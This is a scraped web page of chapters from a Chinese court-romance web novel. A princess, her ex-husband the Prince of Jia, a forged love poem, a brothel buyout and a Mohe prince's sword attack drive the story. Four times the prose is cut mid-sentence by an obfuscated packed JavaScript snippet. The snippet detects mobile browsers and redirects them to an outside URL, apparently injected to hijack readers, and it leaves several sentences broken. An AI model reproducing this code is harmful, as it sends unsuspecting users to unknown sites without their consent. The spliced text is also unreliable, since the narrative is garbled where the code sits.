“作为京都府少尹,维护京都安定,也算是他职责所在,然而千不该万不该,他竟然又借题发挥,说王子并非良人,配不上妹妹。皇家公主的婚事,岂容他一个外人指手画脚?不过是和你好过一场,便这般把自己当个人物,父皇岂能容他?这才有了之后的事。 “父皇为了皇家颜面,以及不影响妹妹和王子接下来的婚事,下令遮掩了前因,否则这回儿神京议论的新闻,就不是徐家父子失了君心,而是昭儿和徐少尹的关系了。” 因为先皇不喜郭皇后,连带着也不喜整个裕王府,文宁作为裕王府的郡主,自小便被教导,要像老鼠躲猫一样地避开魏姝。便是后来她从郡主晋升为公主,碍于魏姝先皇遗孤的身份,依然要在她面前矮一头。 今天她终于有了能把魏姝踩在脚下的机会,便又高高在上道:“长姐如母,你母妃过世的早,我便代她教育你几句,贞柔贤淑才是一个公主该有品格。 “之前的事也就罢了,今后妹妹还是收敛些,像砸伤长辈、挑逗其他驸马这样的事,还是少做为好,更要懂得守贞,免得和亲后受靺鞨王子厌弃,若是再因此影响两国友好,妹妹可就是大安的罪人了!” 很明显,文宁公主只想嘲讽魏姝,根本没打算听她的解释。 魏姝便也没同她客气:“虽然姐姐满嘴疯话,但看得出来,姐姐十分忧心靺鞨与大安的关系,既然如此,何不同驸马和离,自请嫁给靺鞨王子?姐姐最懂贞柔贤淑,王子必定喜欢,两国关系也必定牢不可破,大安上下都会因此感念姐姐高义的。” * 此时,桃林中的一间木屋里,站在窗前的谢闵听到魏姝的话,不由面色复杂道:“崇宁公主果真非寻常女子,什么话都敢说啊。” 他身边还站着谢兰臣,方才魏姝和文宁公主的一番话,两人都听在耳中。 并不是他们俩故意躲在这里偷听。 谢兰臣昨日便同寺内的方丈约定好,今天一早会来这里,抄录寺内供奉的《仁王护国经》。 《仁王护国经》原文乃梵文所著,先后有三名法师出过译本,但因每位法师的理解不同,各个译本的内容也略有出入,其中不空法师翻译的一版,鲜有传世,谢兰臣听说护国寺有不空法师翻译的原版手稿,便打算抄录一份回西北。 因而谢兰臣比魏姝还要更早来到桃林,谢闵因为有事要查,倒是之后来的,但也比文宁公主早。 他本是有事向谢兰臣回禀,却因为谢兰臣抄写经书的时候,从不许人打扰,只能静静候在一旁,看谢兰臣用比批阅公文仔细百倍的态度,在纸上一笔笔写下工整的楷书。 直到谢兰臣彻底收笔,谢闵刚要开口说话,不曾想魏姝和文宁公主先开了口。 两人所处的位置,离木屋虽然有一段距离,但因谢闵二人自幼习武,特意锻炼过耳目,听力和目力都要比寻常人灵敏许多,便被动听完了两人的对话。 谢闵悄悄瞟了眼谢兰臣的神情,从袖子里摸出一张信纸,递给谢兰臣道:“属下要回禀的正是徐子期的事,这是属下抄录来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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既然诗句能对上,那情诗十有八九也是真的了。 谢闵今天没跟着谢兰臣,本就是核查小郡王的身世去了。虽然此事并非谢兰臣要求,可事关谢家血脉,兹事体大,便是谢兰臣不在意,他这个做下属的却得十万分的谨慎,毕竟回到西北后,家里还有一位老太太两位夫人要交代。 可还没等他查出什么,会同馆的人便向他透露了徐子期的事,即便知道那些人是在故意挑拨,他也不敢轻慢,亲自翻了徐家的院墙。 谢闵又道:“我悄悄潜入徐家,见到了徐子期的长相,确实和小郡王有相似之处。” 因为偷听到了谢家父子的谈话,谢闵知道的内情甚至比文宁公主还要更多一点。 元和帝今天之所以发这么大的火,不单单因为徐子期是让公主失德之人,更因为先皇曾经有意让小郡王姓魏,元和帝本就忌讳,徐子期又恰好在这时候跳出来阻止崇宁公主的婚事,元和帝便疑心先皇让小郡王姓魏一事,是徐家在背后撺掇,怀疑徐家父子想混乱皇室血统,有不臣之心…… 只可惜徐子期是个敢做不敢当的,在自己亲爹面前,还狡辩说自己是清白的。 谢闵在心里暗暗唾弃徐子期,同时也更加可怜自家王爷了。他忍不住僭越道:“王爷要和崇宁公主复婚,必然会同时得罪大安和靺鞨。如果小郡王真是王爷的儿子,便是冒再大的风险也值得。可如果小郡王不是,还请王爷能三思。” 13. 借钱 谢闵恳请谢兰臣三思,谢兰臣却道:“我已经答应了崇宁公主要同她复婚,怎好毁信?” 谢闵又劝:“若小郡王不是王爷的骨血,便是崇宁公主欺骗在先,不算毁信。” 谢兰臣无所谓道:“是不是又有什么关系?我不也不是母亲亲生的吗?” 他口中的“母亲”,指的自然是教养他长大的嫡母。 “这怎么能一样?”谢闵道,“虽然王爷非大夫人所出,但确是老侯爷的血脉无疑,是谢家嫡支正统,小郡王却有可能是徐家的人,王爷若这么不明不白地认下小郡王,家里的老太太和两位夫人也是不依的。” 谢家盘踞西北多年,族人众多,嫡支却子嗣不丰,老侯爷尚有两个兄弟,到了谢兰臣这儿,就仅剩下谢兰臣一棵独苗了。 这也是谢闵之前为什么会说,如果小郡王真是谢兰臣的儿子,便是冒再大的风险也要把人接回西北。谢兰臣时不时便会外出领兵,期间万一有个什么意外,谢家嫡支可要就此断绝了。 原本,嫡母大夫人也生过一个儿子,便是因为一场意外,于幼时被契丹人掳去,至今生死不明——说是不明,在契丹人差点儿被西北军撵回雪山脚下的时候,都没拿那孩子来同谢家人谈条件,众人早已心知肚明,孩子已经没了…… 谢闵劝了半晌,见谢兰臣仍旧不为所动,只好又折中道:“不如王爷再多给卑职一些时间,待卑职先查清小郡王的身世……” “昭儿和我长得像吗?”谢兰臣突然打断他问道。 谢闵顿了一下才道:“小郡王眉眼间确实有几分王爷的影子,但卑职也不敢欺瞒王爷,小郡王确实和徐子期也有明显相像的地方。” 其实,小郡王的长相更随崇宁公主,精致漂亮,第一眼见时,谢闵差点儿把他认成小姑娘。 谢兰臣又问:“既然昭儿既像我,又像徐子期,那徐子期和我长的像不像?” 谢闵一时被问住。 之前他心里一直惦记着小郡王,便只比较了小郡王和徐子期的长相,倒是没想过比对徐子期和谢兰臣的。眼下被问起,细细一回想,两人的长相竟然真有相像之处。 “这可真是奇了?”谢闵正要感叹世上竟有这般巧合的事,却又忽然想到什么,猛地看向谢兰臣。 谢兰臣却没有和谢闵继续说下去的意思,他推开屋门,径自走了出去。 * 谢兰臣朝着魏姝和文宁公主的方向走去,待靠近了,便故意踩断一根枯枝,发出咔嚓一声脆响。 “谁在那里?”文宁公主立刻警惕地望了过来。 谢兰臣继续走上前道:“在下西北府谢斐,方才不小心听见两位公主的谈话,本想避开,又恰好听到几句与我有关的,故而冒昧现身。” “原来是嘉王。”文宁公主忍不住多看了几眼谢兰臣的好姿仪,这才行了个万福。 她虽然有些不满自己的话被偷听了去,但转瞬又想到,谢兰臣怕不是听自己提到情诗,确认了魏姝给自己戴绿头巾的事,一时气不过,才来找魏姝理论的。 文宁公主被魏姝劝自己和离的话气得不轻,偏又说不过对方,正憋屈得厉害,便趁机故意添油加醋道:“崇宁被先皇宠爱太过,行事难免骄纵一些,和嘉王成亲的那一年多,虽然确实与外男交往过密,也与人私相传递过情诗,但那都是些陈年旧事了,王爷也不必太生气,毕竟,崇宁那时候正值如花似玉,王爷却不能常伴她身边,也不怪她守不住的。” 魏姝根本没理会文宁公主刻薄的话语,她不防谢兰臣竟然也在护国寺,还恰好听到了她和文宁的谈话,只担心谢兰臣会听信文宁所说,觉得自己骗了他,会反悔复婚。 魏姝正愁该如何解释,谢兰臣却忽然用一种夹杂了纵容、失落和委屈的语气,朝她叹了口气:“公主怎么不同文宁公主说实话?‘昭昭我心,皎日为期’不是公主写给我的情诗吗,什么时候变成徐少尹写给公主的了?” 魏姝几乎立刻便反应过来,谢兰臣是在帮自己解围。 还肯帮自己,说明他是相信自己的。只是,为什么不说情诗是他写给自己的,非要说是自己写给他的?还有,一首情诗肯定不止这两句,谢兰臣又不知道剩下的,万一等会儿对质出来,岂不更糟? 魏姝正犹豫要不要顺着谢兰臣的话说下去,一旁的文宁公主已经先出声否定道:“这不可能!这句诗里有‘昭’有‘期’,分明是徐子期写给崇宁的!” 谢兰臣并不争辩,而是直接当着文宁公主的面背出了整首诗,确实和文宁公主在宫内看到的情诗一字不差。 如果那首情诗真是徐子期写给魏姝的,谢兰臣不可能知道诗文的内容。 而且,如果魏姝真和徐子期有苟且,谢兰臣也不可能不追究,反而帮他们遮掩。 文宁公主本想借谢兰臣羞辱魏姝,谁曾想不但羞辱不成,反还帮魏姝洗刷了污名,她心中越发憋屈,又质问魏姝道:“既然是你写给嘉王的诗,为什么你一开始不说,只说是别人故意陷害你?” 魏姝来不及想谢兰臣从哪儿得知的情诗内容,回道:“姐姐只提了其中一句诗,我当时又没听太清,只隐约听到什么‘昭昭我心’,姐姐又一直强调那首诗是徐少尹所做,诗句难免有相似的,我便没想到会是我的诗。 “姐姐还信誓旦旦地说,那首诗是我失德的铁证,偏我和徐少尹之间清清白白,我自然便觉得是被人陷害了,谁能想到竟是有人翻出了我的旧稿?我寄给嘉王的是重新誊抄的,怎么说我和嘉王那时候也是夫妻,偶尔寄封情书不算越礼吧?” 魏姝这番解释合情又合理,文宁却直觉有哪里不太对,便皱眉拼命回想对比她和谢兰臣的话,想从中挑出差错的地方。 谢兰臣却在此时又开口道:“文宁公主作为长姐,自然有资格教训底下的妹妹们,但大安律法尚不苛求人大义灭亲,文宁公主作为长姐,在得知妹妹可能犯错后,既不维护妹妹,又不能明辨真相,反而不听解释,咬定对方有罪,甚至冷嘲热讽。 “贞柔贤淑当为公主品格,可智慧仁悌,才是做人的根本。公主莫要本末倒置了才好。” 谢兰臣语气虽淡,话却说得极重,几乎是在明着骂文宁公主既不聪明,又不懂得友爱,连人都做不好,更遑论做公主了? 文宁公主又气又臊,却碍于谢兰臣的身份不能发作,也后知后觉地反应过来,自己今天在这两人跟前是讨不了好了,她咬了咬牙,勉强找了个由头,悻悻而去。 桃林里一时只剩下魏姝一行和谢兰臣。 魏姝郑重地向谢兰臣行了一礼,致谢道:“多谢王爷方才为我解围,至于情诗的事……” 她刚要解释,便被谢兰臣打断道:“公主无需多言,我相信公主的为人……” 他顿了一下,又慢悠悠地补上后半句:“以及公主对我的情意。” 魏姝僵了一瞬,及时记起了自己扮演的深情前妻角色,急忙招呼昭儿来拜见爹爹,这次昭儿却怎么哄都不愿意上前,甚至连一声爹爹都没喊。 魏姝尴尬地解释:“昭儿他有些怕生。” 谢兰臣好脾气道:“无妨。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058045|194915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他整个人和昨天一样温雅和善,并且很好说话。 昨天,魏姝还疑心谢兰臣是不是在装腔作势,但经过刚才的解围,魏姝彻底抛开了对谢兰臣的偏见,觉得对方可能真是一个心软的好人。 魏姝对谢兰臣少了些戒备,便又提起复婚的事:“皇叔可能会在明天的宫宴上提及和亲之事。” 谢兰臣却并不怎么忧心:“明日册封礼一结束,我便会先向皇上提出我们复婚的事,我会尽力争取公主的。” 魏姝趁机又提要求道:“能否请王爷在明日的宫宴上,再像方才那样解释一遍情诗的事,以为徐少尹澄清,毕竟他也是受我连累。” 谢兰臣一如既往地好说话,点头应好,但忽然话锋一转,又说道:“公主之前同那么多才俊一起吟诗作对,不知可曾为我写过诗?” 少年慕艾时,但凡通点儿文墨的,谁没给梦中人写过诗呢? 作为一个对谢兰臣“爱而不得”多年的前妻,魏姝眼也不眨的撒谎道:“当然写过。” 谢兰臣又问:“不知我可否有幸一阅?” 魏姝憋红脸颊,假做羞怯,委婉拒绝道:“都是些闺阁怨词,实在不好意思拿给旁人看。” 谢兰臣却很执着:“可那些本就是公主写给我的,不是吗?之前是我有负公主,如今我想多了解公主一些。” 魏姝实在推脱不掉,只得应道:“那好吧,不过那些诗被我写写烧烧,如今也就只剩下两三首,等我回府找到,便差人送去会同馆。” 所谓的诗作自然是没有的,需得她现编,两三首已是极限了。 魏姝脸上红晕未消,如同被园内的桃花浸染上色,亦如一朵枝头正盛放的桃花,粉瓣娇娇,玉蕊楚楚。 谢兰臣忽然伸手朝魏姝脸颊碰去,魏姝下意识要躲,电光火石之间又想到,真爱慕一个人,面对对方的触碰,不应该是逃避躲闪,应是羞涩期盼才对。魏姝最终忍着没动,只微微垂下眼,纤长的睫毛如羽翅一般轻轻颤了颤。 鼻尖的桃花香被幽幽檀香取代,修长的手指越靠越近,然而只是若有似无地擦过魏姝的脸颊,停在了一旁,一伸手,掌心恰好接住一朵坠落枝头的桃花。 随后谢兰臣便收回了手。 原来只是为了帮自己接住一朵差点儿掉在身上的花,她还以为…… 魏姝的脸颊微微有些发烫。 谢兰臣则若无其事地轻轻拈了拈手里的花,又说道:“我还有一事相求公主,此次来神京,我所带的银两不大够用,公主能否先借我些钱使?” 听谢兰臣提起正事,魏姝定了定神。 尽管刚答应同自己复婚的前夫突然找自己借钱,这种“正事”感觉怪怪的。 魏姝不怕谢兰臣对自己有所图,相反,如果他对自己百依百顺,却什么也不索取,魏姝才会觉得没底。 索性自己也不缺钱,魏姝一口答应下来。 两人在桃林告别,回到公主府后,魏姝立刻便让人装了满满三大箱的金饼,送去了会同馆。 之后,魏姝又把自己关在屋里半晌,终于勉强凑够了两首哀怨又饱含深情的诗,另外做戏做全套,又把谢兰臣在桃园背的那首也默了下来,正要再差人给谢兰臣送去,张公公却突然急冲冲地进来禀告道:“公主,大事不妙!嘉王用您给的三大箱金子嫖妓去了!” “老奴亲眼看见,他直接包下了神京最有名的妓馆群芳楼不算,还让人去其他瓦舍妓馆,把神京所有的伶人妓子都请到了群芳楼里,就连稍有些名气的暗门子都没落下!” 14. 送参 谢兰臣特意找自己借钱,就是为了嫖妓? 魏姝的第一反应是觉得荒唐,不禁向张公公确认道:“你确定嘉王真去了妓馆?” “千真万确,老奴亲眼所见。”张公公声音气愤道,“嘉王根本没有要遮掩的意思,这天还没黑呢,就大喇喇地抬着三箱金子进了群芳楼。他可是才答应过公主要复婚,转眼就这般行事,这不是……不是故意羞辱公主吗!” 在张公公进屋之前,魏姝心里还在对谢兰臣隐隐愧疚。 当初和离的时候,她一心想着让昭儿和谢兰臣割席,便没太顾及谢兰臣的名声,可谢兰臣非但不计较,今天还肯帮自己解围,属实算是个好人了。 魏姝又低头看看自己手里的情诗——所以,谢兰臣做这些,其实是为了让自己在对他放下防备,期盼地等待复婚的时候,故意摆自己一道,用自己的钱去嫖妓,以此更好地羞辱自己,以报当初自己让他名声扫地之仇? 魏姝此刻确实有种被戏弄的恼怒。 她把手里的诗稿揉成一团,掷在桌上。 谢兰臣去嫖妓,她作为前妻确实管不着,但用她的钱却不行。 魏姝并不在乎那点儿金子,但却不想花了钱还不痛快。 她正要吩咐张公公,带上府里的护卫,去群芳楼再把金子要回来,但转念又想到,谢兰臣如果真为了羞辱自己,哄自己在明天的宫宴上主动提起复婚之事,他再当面拒绝,岂不更能打她的脸?何必闹出这么大的动静,于他自己名声也不好? 时下出入青楼楚馆,虽算不上什么失德之事,但如果是像靺鞨王子那样的,也会受人唾弃。谢兰臣今天肆无忌惮地闹这么一场,名声更是别想好了。 魏姝渐渐冷静下来,片刻后,改变主意对张公公道:“把库房里的好参,挑几棵给嘉王送去,就说我担心他身体吃不消,特意为他补补。” * 另一边的皇宫内,郭皇后看着面前不请自来的文宁公主,不咸不淡地问道:“早上不是才进宫请过安,怎么这会儿又过来了?” “儿臣是来认错的。”文宁公主突然跪下哭诉道,“我今天去城外护国寺进香,恰好撞见崇宁和嘉王在后山的桃林私会,我见他们两人竟然毫不避讳,又想着崇宁如今正与靺鞨王子议婚,这事要是传进王子耳朵里,恐怕不好。 “我作为堂姐,这才忍不住劝诫了崇宁两句,谁知崇宁不但骂我多事,还咒我同驸马和离,要我嫁给靺鞨王子。我一时气愤不过,便说出了在永乐宫搜出情诗的事,本意只是警醒她,让她不要再知错犯错。可谁料嘉王又站出来,说那首情诗是崇宁早年写给他的,他当场背诵出来,果真与宫内搜出来的那首一字不差。 “我当时十分无措,嘉王和崇宁便骂我蠢笨,不能明辨真相,可情诗的事是母后亲自查办的,他们骂我不打紧,却是在指桑骂槐责骂母后,都怪我连累了母后,故而来向母后请罪。” 文宁公主离开护国寺后,越想越恨,又想到情诗的事乃郭皇后查证出来的,自己也是听郭皇后说的煞有介事,这才信了,谁曾想最后嘲讽魏姝不成,自己反丢了大人。 她终是咽不下这口恶气,便连家都没回,直接又进宫了,表面上是为请罪,实则是来郭皇后面前告状。 郭皇后闻言,脸色骤然不虞,向文宁确认道:“嘉王果真说那首情诗是崇宁写给他的?” 文宁公主立刻回道:“儿臣不敢撒谎,那嘉王也不知被崇宁灌了什么迷魂汤,言语间很是维护崇宁。” 郭皇后的脸色顿时更加难看起来。 那首诗根本不是魏姝写给嘉王的,因为那是她让人仿照徐子期的风格写出来的。 为了不影响魏姝和亲,她想不把事情闹得太大,查出情诗后,特意叮嘱后宫不许传播议论此事,只把那首诗抄录了一份给嘉王。说白了,这就是一出只演给嘉王一个人看的戏,为的是让嘉王和魏姝彻底反目。 可嘉王对自己被戴了绿头巾的事,竟完全不在意吗? 自己让人抄给嘉王的那首诗,最后反而帮了魏姝。 郭皇后白忙活一场,又得知嘉王十分维护魏姝,心中越发烦躁,连带看文宁公主也心烦起来。 郭皇后哪里会看不出来,文宁是想借自己的手帮她出气罢了。 看来,是自己平日里在众人面前表现得太贤良,以至于是个人都敢在自己面前耍这种小聪明…… 郭皇后看向文宁公主:“你和你母亲都生了张巧嘴,可惜都学不会谨言慎行,所以你母亲前日才会受罚。” 起先,文宁公主见郭皇后神色愠怒,只当她是因为自己的话在气魏姝,直到听见这番警告十足的话,文宁公主才反应过来,原来郭皇后早看透了自己的心思。 她和母亲在父皇跟前都不算得宠,是万万不敢得罪郭皇后的。 文宁公主不敢解释争辩,立即磕头认错道:“母后恕罪!” 郭皇后继续冷冷地看着她,道:“出嫁随夫,便是公主,也不好三天两天地往宫里跑,知道的说你是孝顺,不知道的,还当你是对婆家有什么不满,传出去影响你和驸马的感情。” “儿臣受教,今后一定谨遵母后教诲。”文宁公主又向郭皇后拜了拜,悻悻而去。出宫的路上,想到自己这一趟,非但气没撒出去,反碰了一鼻子灰,又落了顿不是,只恨不能自己给自己一个耳光。 她今天就不该去招惹魏姝! 待文宁离开长春宫,郭皇后遣退伺候的宫人,只留下冉嬷嬷道:“你说嘉王这是什么意思?他该不会是看上了崇宁,也想要复婚?竟是连儿子不是自己的也能忍吗?” 冉嬷嬷下意识觉得不可能,没有男人会不在意这个,可她也不明白嘉王为什么会维护魏姝,正不知道该如何回答,门外忽然有人通报一声,接着递进来一张条子。 正是宫外递 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058046|194915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消息的条子。 冉嬷嬷接过来一看,顿时喜笑颜开道:“我就说,天底下没有哪个男人真不介意的。” 她一边把条子递给郭皇后,一边继续说道:“外头传信说,就在刚才咱们和文宁公主说话的功夫,嘉王包下了全城的妓子,看样子是打算好好享受一夜呢,更好笑的是,嘉王嫖妓所用的银钱,还是崇宁公主让人送去会同馆的。 “这副做派,哪里是要复婚的样子?羞辱还差不多。” 郭皇后快速扫过条子上得内容,仍旧忧心道:“可是文宁说过,嘉王在护国寺的时候,很是维护崇宁。” 冉嬷嬷却不以为意道:“娘娘还不知道吗?文宁公主是王淑仪调教出来的,两人一样的巧言令色,十句话里最多有三句可信。” 顿了顿,她又道:“便是文宁公主说的是实情,焉知不是嘉王先假意对崇宁公主示好,待取信于公主,再行背叛?崇宁公主被哄得又是私会又是送钱的,却落了个这样的结果,不是更让她难堪吗?” 郭皇后细细一想,也觉得在理,这才放下心来,对冉嬷嬷道:“你去小厨房,让她们多备些婧儿爱吃的菜,晚间让她陪我一起用膳,也该和她好好说说嘉王的事了。” “婧儿”自然指的是郭皇后的爱女,平宁公主魏婧。 冉嬷嬷应下,退将出去,很快便准备好了一桌的佳肴。 * 靺鞨王子阿不罕哲术,此刻也正在享受佳肴美酒。 阿不罕是他的姓,哲术才是名。 他面前的桌子上,摆满了鸡鸭鱼肉,鱼翅燕窝,身旁美婢环绕,巧笑着为他递上斟满的酒盏。哲术直接就着婢女的手,一口饮尽。 哲术很喜欢大安的吃食,喜欢这里的气候、街市,更喜欢这里的女人,她们个个又香又软,嫩生生,水灵灵,像极了雪山上绽放的雪莲花。 他们靺鞨不是没有美人,只是那里的女人整日经受风吹日晒,又不能好好保养,以致皮肤粗糙泛红,又不懂描眉画眼,和大安的女子比起来,到底缺了些韵味。 待在神京的这段时间,哲术常常会想,靺鞨若是能占据神京就好了。但他也知道,现在还不是时候…… 哲术在婢女们的争相伺候中,吃完了酒菜,随后便揣上一包银子出了门。 今天白天,宫里来人传信,说皇上有意在明日的宫宴上为他和崇宁公主赐婚。 这本是件好事,之前他入宫觐见,曾瞧见过崇宁公主一次,早对公主的美貌垂涎已久。 但不好的是,传信的人又警告他,一旦赐婚,他便不能再像之前那般放纵,整日流连青楼楚馆,就连家里买来的婢女也要全部打发掉。否则便是对公主不敬,和亲一事恐生变数。 为了靺鞨的大业,哲术不得不以大局为重,全都答应下来,但到底心中不舍,便先和家里的美婢们胡闹过一阵,这会儿打算再去柳巷,好生放纵最后一回。 15. 布施 神京不禁夜市,夜间有不输白日的繁华热闹。 哲术揣着银子,拐去了自己常逛的一家妓馆,却见妓馆大门紧闭,敲了半天的门,里头才慢腾腾地走出来一个龟公。 哲术不悦道:“怎么这时候了还不开门迎客,让我在门口干等?” 龟公认出哲术,立刻赔笑道:“王子恕罪,您有所不知,今个儿馆里的姑娘早早都被嘉王包下,被带去了群芳楼,今晚馆里没人,不能接客了。” 哲术在听到“嘉王”两个字后,脸色顿时变得难看起来,下意识按了按自己的左肩。 那里曾被谢兰臣先后两次射中,虽不致残,却还是落下了暗疾,除了左臂不能太过使力外,每遇冬季或是阴雨天,伤处还会疼得厉害。 不过多亏谢兰臣箭术不精,两次都只射中了自己的左肩,若他射得再精准一点儿,或许自己早死了。 哲术在庆幸自己运气好的同时,对谢兰臣也更加忌惮痛恨,连做梦都盼着能将他杀之后快。 然而这里是神京,大安对西北的态度暧昧不明,单独靺鞨还没有和西北叫板的能力,哲术不得不暂时避免招惹谢兰臣。这也是他在得知谢兰臣即将进京受封时,选择搬出会同馆的真正原因。 哲术怕自己和谢兰臣住在一起,总有一天会忍不住动手。 可他都主动避开谢兰臣了,谢兰臣竟然还要给他找不痛快。 哲术愤怒地攥紧拳头,忍了又忍,终是没有发作,骂了句晦气,便转身离开了。 一旁的龟公见状,不由长舒了口气,暗道躲过一劫。之前这位爷可是稍有不合心意,就会直接动手的。 哲术又换了一家名叫春风度的妓馆,也是他常去的地方,馆里还有一个和他极相好的姑娘。 然而到了地方才发现,这里竟然也是门庭紧闭。 哲术皱了皱眉,抬手敲门,这次门开得倒很快,只是门内昏惨惨一片,也不像是要开门接客的样子。一问才知,这里的姑娘竟然也被谢兰臣给包下,被叫去了群芳楼。 哲术不由咬牙道:“怎么又是谢兰臣!” 开门的伙计也认得哲术,一听便知他在别处也碰了壁,便解释道:“王子怕是还不知道,神京所有的伶人妓子,今晚都被嘉王包了去,上百来号人如今都聚在群芳楼里呢。” 伙计啧啧感叹道:“我活了这么些年,还从没见过这么大的阵仗。” 说完,他瞥见哲术脸色阴森,急忙又说道:“月奴姑娘早猜到您这两天怕是要来,和其他几个姑娘本想留在阁里等您,可她们哪儿抵得过嘉王的权势?最后还是不得以被带走了。” 月奴便是哲术的相好,也是春风度的头牌。 伙计怕哲术会在这里闹事,便一股脑把所有责任都推给嘉王,暗示春风度的姑娘们也是被迫的,让哲术别记恨他们春风度。 哲术再一次扑了个空,憋了满肚子的邪火,也意识到可能是谢兰臣在故意针对自己。 谢兰臣如果是正常寻欢,包下一家两家妓馆已是极限,可他偏偏选择今晚,把全城的妓子都包下来,分明是知道自己只能再放纵最后一晚,便故意不让自己如意。 哲术胸口剧烈起伏几下,气得一拳砸在一旁的大门上,在上头留下一个明显的坑印。但到底顾忌着明日大安皇帝要为他赐婚,今晚实在不宜生事,这才勉强冷静下来。 今晚想在外头寻欢是不成了,哲术只能忍气吞声,转身回家。 可他人还没走出去多远,便听见身后春风度重新关上的大门里,传来一阵窃窃私语声: “方才是那个蛮子王?” “可不正是他,好不容易才把人打发走。他还真当月奴姑娘多喜欢他呢?月奴好歹是咱们这里的头牌,琴棋书画没有不精通的,别的公子哥儿过来,时常和姑娘一起奏个曲联个诗什么的的,这叫雅兴。这位爷倒好,每次来只为那档子事,枯燥无趣得紧,月奴早就不耐烦他了。 “况且他人又小气,每次给的钱都不多,偏他胃口又大,又要吃得精细,刨去他的吃喝,也就不剩什么了,前头月奴陪了他半个多月,挣的银子竟还没有底下姑娘的一半多。不过是因为他王子的身份,月奴不敢拒绝,只能捏着鼻子伺候罢了。” “这次嘉王倒是出手大方,直接给了月奴姑娘十几个金饼,听说人也俊美风流,这样的才是好主顾,外族人到底小家子气……” 哲术听到这里,终于再也忍不住,抽出腰间的佩刀,转身便朝关着的大门劈砍去。 任何人得知自己以为的相好,背后竟是这么看待自己的,都会忍受不住。 靺鞨确实不算富裕,哲术此行来神京,带的钱算是很多了,可神京能花钱的地方更多。尤其在他搬出会同馆后,又是置办房屋,又是要供家里的十几个美婢吃喝和胭脂水粉,手头便没那么宽裕了。 可即便如此,他每次也是给够嫖资的。 自己堂堂一个王子,连大安的皇帝都要礼让他三分,两个看门小厮,一个下贱的妓子,怎么敢这样羞辱轻贱自己! 哲术心头羞怒交加,对着大门又砍又踹,里头的人倒是被吓得噤了声,但却龟缩在门后不敢出来,奈何大门实在结实,他一时也撞不开,反因为动静太大,引起了远处巡夜守卫的注意。 这些守卫都是京都府的人,哲术曾和他们打过几次交道,极为难缠,尤其是他们中那个做少尹的。 眼见守卫朝这边走来,哲术只得暂时收手,可满腔怒火不得发泄,憋得他整个人都快炸了,他便又想到了谢兰臣。 自己之所以会被几个奴婢轻贱,还不都是因为谢兰臣先故意抢他的女人,又故意多给金饼,暗示嘲讽他穷困? 被这么一而再地欺辱挑衅,自己要是还隐忍,岂不成了缩头的王八?将来岂不是会有更多的人在背后嘲笑自己? 哲术酒意上头,怒红着眼去了群芳楼。 刚走到门口,他便听见楼里传来阵阵嬉笑声,其中一道娇俏的声音格外熟悉,正是月奴。 确实比在自己跟前笑得开心多了。 哲术冷笑一声,一脚踹翻门口想要阻拦他的龟公,直接提刀闯了进去。 楼内果然衣香鬓影,上上下下都是打扮婀娜的女子,谢兰臣被围在一楼大厅中间,前后左右都是巧笑嫣然的美人。 只是他却衣衫完好,脸上也不见一丝狎昵之色。 哲术根本没有心思在意这些异常,他直接冲上前,以刀指向谢兰臣道:“谢斐,咱们今日就做个了断!” 围着的妓子乍然看见刀光,顿时吓得四散躲避。 谢兰臣却不慌不忙地看了眼刀尖,不解地问道:“王子何出此言?” 春风度的月奴,此时恰好正站在谢兰臣身侧,她本也想躲,但看看谢兰臣,又大着胆子留了下来,仗着哲术曾是自己的旧客,便试图温言劝解:“王子先别动怒,嘉王是雅正之人,想必是有什么误会……” 然而哲术听到她的声音,反而越发愤怒,不等月奴把话说完,便挥刀先朝她砍了过来。 好在谢兰臣及时出手拉了她一把,才让她躲过足以致命的一刀。 这下,楼里原本还大着胆子观望的人,顿时惊恐四散,纷纷往楼外逃去。 一时间,楼内各种惊呼尖叫声此起彼伏,这更加刺激了哲术,他不再顾及别人,只一心想弄死谢兰臣,起手便是杀招。 谢兰臣险险避开,哲术继续步步紧逼,又见谢兰臣只一味躲避,不敢反击,料定他必然武力不济,否则当初的那两箭也不会全都射偏。 此时楼内的人正挤挤攘攘地往外涌,外头的人即便发现楼内有不对,一时也很难挤进来,在巡夜的守卫赶来之前,正是杀掉谢兰臣的好时机。 哲术决定速战速决,动作便越发狠厉,谢兰臣果然渐渐不敌,被逼至角落里,身后便是墙,避无可避。 哲术狞笑道:“你放心,等你死了,我一定会替你好好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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领头之人简单为哲术止血后,急忙叫人去请大夫,又看向谢兰臣问道:“还请嘉王告知,这到底是怎么一回事?” 哲术此刻虽然疼得不能说话,但双眼一直怨毒地盯着谢兰臣。很明显,两人之间发生过什么。 月奴因为感激谢兰臣的救命之恩,之前一直没离开,哲术对谢兰臣步步紧逼以及谢兰臣避无可避的全程,她全都看在眼里。 